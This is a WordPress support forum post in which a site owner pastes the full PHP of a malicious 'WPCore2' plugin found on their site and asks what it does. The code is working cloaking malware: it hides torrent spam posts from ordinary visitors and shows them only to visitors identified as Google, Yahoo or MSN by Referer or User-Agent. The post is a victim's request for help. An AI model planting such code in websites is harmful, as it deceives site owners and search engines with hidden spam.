• Hi,
    Here is the code injected into a new plugin on my website.

    I’ve cleaned it, restored my posts but i’m more concerned by the last part of the code with “$array = array(“google”, “yahoo”, “msn”);”
    i’m understanding it by the fact the plugin display their torrent posts only for the search engine, i’m right ?

    by removing the plugin it will be ok right ?

    <?php
    
    /*
    * Plugin Name: WPCore2
    * Version: 1.0
    * Author: Lososev
    */
    
    function stripos_array($str, $array)
    {
    	foreach($array as $substr)
    	{
    		if (stripos($str, $substr) !== false)
    			return true;
    	}
    	return false;
    }
    
    function ex_posts($clauses)
    {
    	global $wpdb;
    
    	$clauses['where'] .= " AND {$wpdb->posts}.post_content NOT LIKE '%torrent%'";
    	return $clauses;
    }
    
    function ex_cats($clauses)
    {
    	global $wpdb;
    
    	$cats = $wpdb->get_col("SELECT key1.term_id FROM wp_term_taxonomy key1 INNER JOIN wp_term_relationships key2 on key2.term_taxonomy_id = key1.term_taxonomy_id and key1.taxonomy = 'category' INNER JOIN wp_posts key3 on key3.id = key2.object_id and key3.post_content LIKE '%torrent%'");
    
    	$clauses['where'] .= " AND t.term_id NOT IN(" . implode(",", $cats) . ")";
    	return $clauses;
    }
    
    $array	= array("google", "yahoo", "msn");
    
    if(stripos_array($_SERVER['HTTP_REFERER'], $array) == false && stripos_array($_SERVER['HTTP_USER_AGENT'], $array) == false)
    {
    	add_filter("posts_clauses", "ex_posts");
    	add_filter("terms_clauses", "ex_cats");
    }
    else
    {
    	add_action('wp_get_archive', 'wp_get_archives');
    }
    
    ?>
Viewing 3 replies - 1 through 3 (of 3 total)
Viewing 3 replies - 1 through 3 (of 3 total)
  • The topic ‘virus help’ is closed to new replies.